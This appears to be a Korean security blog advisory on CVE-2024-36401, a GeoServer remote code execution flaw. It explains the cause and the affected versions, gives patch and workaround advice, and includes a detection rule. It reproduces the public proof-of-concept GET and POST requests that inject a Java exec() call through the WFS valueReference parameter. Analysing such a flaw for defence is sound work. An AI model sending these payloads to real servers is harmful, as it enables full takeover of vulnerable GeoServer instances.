1. GeoServer

- 지리공간 데이터를 공유하고 편집할 수 있는 자바로 개발된 오픈 소스 GIS 소프트웨어 서버

※ GIS (Geographic Information System): 지리 정보 시스템

2. 취약점

[사진 1] CVE-2024-36401 [2]

- 취약한 GeoServer에서 발생하는 원격 명령 실행 취약점 (CVSS:9.8)

> 익스플로잇에 성공한 공격자는 피해자들의 GeoServer를 환전히 장악할 수 있음

> GeoServer 장악 후 여러 멀웨어를 유포하는데 적극 활용 중

영향받는 버전
- GeoServer < 2.23.6
- 2.24.0 <= GeoServer < 2.24.4
- 2.25.0 <= GeoServer < 2.25.2

 

- GeoServer가 호출하는 GeoTools 라이브러리 API

> 피처 유형의 속성/속성 이름을 평가하여 이를 commons-jxpath 라이브러리에 안전하지 않게 전달

> 해당 라이브러리는 XPath 표현식을 평가할 때 임의의 코드를 실행할 수 있음

> 일반적으로 XPath 평가는 복잡한 피처 유형으로 제한되어야 하지만 구현상 결함으로 인해 해당 평가는 간단한 피처 유형에도 적용됨

※ commons-jxpath 라이브러리: XPath 표현식을 구문 분석하고 평가하도록 설계되었음

취약한 요청 - WFS GetFeature : 웹 피처 서비스에서 피처를 검색하는 데 사용
- WFS GetPropertyValue : 피처의 특정 속성을 검색
- WMS GetMap : 웹 맵 서비스에서 맵 이미지를 요청
- WMS GetFeatureInfo : 지정된 위치의 피처에 대한 정보를 검색
- WMS GetLegendGraphic : 지도에 대한 범례 그래픽을 요청
- WPS Execute: 웹 처리 서비스 프로세스를 실행

 

2.1 PoC Test

- docker 빌드 및 실행 [3]

docker-compose up -d

 

[사진 2] 취약한 GeoServer 구동

 

- 공개된 PoC를 통해 익스플로잇 결과 408, 500 Error 발생

> 408 Error: 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미

> 500 Error: 서버에서 문제가 발생하였으나 문제의 구체적인 내용을 표시할 수 없음을 의미

※ docker 빌드를 다시 해보았으나 동일한 결과 도출

[사진 3] 408 Error 반환
[사진 4] 500 Error 반환

- 정상적으로 익스플로잇이 진행된 경우 원격 명령이 실행 [4]

[사진 5] 익스플로잇 성공 결과

- 공개 PoC [5]

[GET 요청]
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

[POST 요청]
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

3. 대응방안

- 벤더사 제공 업데이트 적용 [6]

제품명 영향받는 버전 해결 버전
GeoServer GeoServer < 2.23.6 2.23.6
2.24.0 <= GeoServer < 2.24.4 2.24.4
2.25.0 <= GeoServer < 2.25.2 2.25.2

 

- 업데이트 적용이 불가한 경우 권고

① GeoServer가 설치된 시스템에서 아래 경로의 파일을 삭제
> webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar

※ x.y는 GeoServer의 주요 라이브러리인 GeoTools의 버전을 뜻한다. ex) GeoServer 2.25.1의 경우, gt-complex-31.1.jar

 

② WFS 요청 비활성화

> 불필요하거나 중요하지 않은 경우 WFS 요청 비활성화

 

- 탐지 정책 적용

(flow:to_server,established; content:"/geoserver/wfs"; http_uri; content:"exec|28|java|2E|lang|2E|"; nocase; http_uri;)

4. 참고

[1] https://geoserver.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-36401
[3] https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
[4] https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401
[5] https://github.com/bigb0x/CVE-2024-36401?tab=readme-ov-file
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=5&categoryCode=&nttId=71483
[7] https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
[8] https://www.fortinet.com/blog/threat-research/threat-actors-exploit-geoserver-vulnerability-cve-2024-36401
[9] https://www.boannews.com/media/view.asp?idx=132739&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=132692&page=3&kind=1

+ Recent posts